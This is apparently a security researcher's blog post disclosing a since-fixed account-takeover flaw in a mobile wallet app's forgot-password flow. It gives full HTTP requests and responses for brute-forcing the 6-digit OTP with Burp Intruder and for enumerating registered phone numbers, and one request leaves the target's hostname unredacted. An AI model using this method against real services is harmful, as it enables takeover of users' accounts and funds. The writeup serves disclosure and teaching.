Forgot Password Vulnerability leads to Account Takeover

Hello all, recently I have found an “Forgot Password – Account Takeover” vulnerability in one of the famous mobile application (the vulnerability is now fixed). 

Although, this might not be the new finding or any miracle attack. I just wanted to share this because here I wanted to share how badly the forgot password functionality was implemented and also to say that intercepting the response is very important while pentesting web application or mobile application. 

Let’s get into the topic. In this mobile application, a registered user can login to their account by entering their mobile number and 4 digit PIN number. The developers have implemented strict rate limiting here i.e., when the user wrongly enters the 4 digit PIN for 5 times, the particular user account gets locked. But the hackers find their own way to find out critical bugs in any applications. After playing around for a while I have found forgot password functionality where a particular user can request for forgot password by giving their registered mobile number. An OTP will be sent to that particular mobile number. While requesting for forgot password, a sequence number is generated and that sequence number will be expired when the user again requests for forgot password. There is no rate limiting here, an advisory can send unlimited OTP’s to the registered mobile number. After giving the right OTP to that particular mobile number, the app will directly take you to the “Change PIN” page on your mobile. Here you can change the PIN number of that mobile number and then you can login to the account. 

Here is the procedure I have followed (Sorry for those strike offs on the images) :

  • Firstly enter victims’ registered mobile number and click on “Tap to continue”

  • Now click on “Forgot Password”, which is shown in the below image

  • Enter the victims’ mobile number and click on “Continue”

  •  Now in the back end, a sequence number is generated and an OTP number will be sent to the victims’ mobile number. The request and response will look like this:

Vulnerable Request #1:

GET /mwallet/online?d=%7b%22g_security_counter%22%3a0%2c%22g_transType%22%3a%22FORGOTPASSWORD_SEQUENCENUMBER_REQUEST%22%7d HTTP/1.1

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; MotoG3 Build/MPIS24.107-55-2-17)

Host: www.<REDACTED>.com

Connection: close

Accept-Encoding: gzip

Vulnerable Response #1:

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Content-Type: text/plain;charset=ISO-8859-1

Expires: 0

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

X-Powered-By: ASP.NET

Date: Sun, 18 Jun 2017 15:01:54 GMT

Connection: close

Content-Length: 182

{“sequenceNumber”:164503,“g_status”:90001,”g_status_description”:”Sequence number generated”,”g_errorDescription”:””,”g_response_trans_type”:”FORGOTPASSWORD_SEQUENCENUMBER_RESPONSE”}

  • From the above response, you can see that the sequence number is leaked. It’s neither randomized nor encrypted.
  • Enter any random number in the OTP section and click on “Continue” as show in the below image

  • Now, the vulnerable request and response will look like this:

Vulnerable Request #2:

GET /mwallet/online?d=%7b%22otp%22%3a%22156309%22%2c%22sequenceNumber%22%3a164501%2c%22g_security_counter%22%3a0%2c%22g_transType%22%3a%22VERIFY_FORGOTPASSWORD_OTP_REQUEST%22%2c%22g_userId%22%3a%22%2b9179XXXXXXXX%22%7d HTTP/1.1

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; MotoG3 Build/MPIS24.107-55-2-17)

Host: www.consumer.payblox.com

Connection: close

Accept-Encoding: gzip

Vulnerable Response #2:

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Content-Type: text/plain;charset=ISO-8859-1

Expires: 0

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

X-Powered-By: ASP.NET

Date: Sun, 18 Jun 2017 17:28:14 GMT

Connection: close

Content-Length: 138

{“g_status”:80004,”g_status_description”:””,”g_errorDescription”:”Wrong OTP”,”g_response_trans_type”:”VERIFY_FORGOTPASSWORD_OTP_RESPONSE”} 

  • Send this vulnerable request to the Burp Suite Intruder and brute force the 6 digit OTP number with the same sequence number.

  • The sequence number will only expire when the user gives the right OTP number or if the user again requests for the forgot password.
  • When the attacker successfully finds out the 6 digit number, he can directly change the PIN number and login to the victims’ account and can do all the malicious stuff.

  • To crack 6 digit OTP number an attacker can send 1,00,000 requests to the server and it is possible by using normal computers.
  • You can get a doubt that “How can an attacker enumerate all the registered mobile numbers of this application?” It’s pretty easy.
  • At first, when you enter your mobile number and click on “Tap to continue” a request is sent and in the response it clearly shows that whether the user exists or not.

Vulnerable Request #3:

GET /mwallet/online?d=%7b%22deviceId%22%3a%222e43100356f7cf20cc188471065b4abeabe1a49b%22%2c%22g_security_counter%22%3a0%2c%22g_transType%22%3a%22LOGIN_CUSTOMER_MIGRATE_DEVICEID_MOBILENO%22%2c%22g_userId%22%3a%22%2b9179XXXXXXXX%22%7d HTTP/1.1

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; MotoG3 Build/MPIS24.107-55-2-17)

Host: www.<REDACTED>.com

Connection: close

Accept-Encoding: gzip

Vulnerable Response #3:

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Content-Type: text/plain;charset=ISO-8859-1

Expires: 0

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

X-Powered-By: ASP.NET

Date: Sun, 18 Jun 2017 15:01:19 GMT

Connection: close

Content-Length: 157

{“g_status”:90009,”g_status_description”:””,”g_errorDescription”:”Existing user”,”g_response_trans_type”:”LOGIN_CUSTOMER_MIGRATE_DEVICEID_MOBILENO_RESPONSE”}

  • An attacker can brute force the userId parameter and can enumerate all the registered mobile numbers.
  • By connecting all these dots, an attacker can take over all the user accounts of this mobile application.

Hope you enjoyed the blog. :

 

Leave a Reply

Your email address will not be published.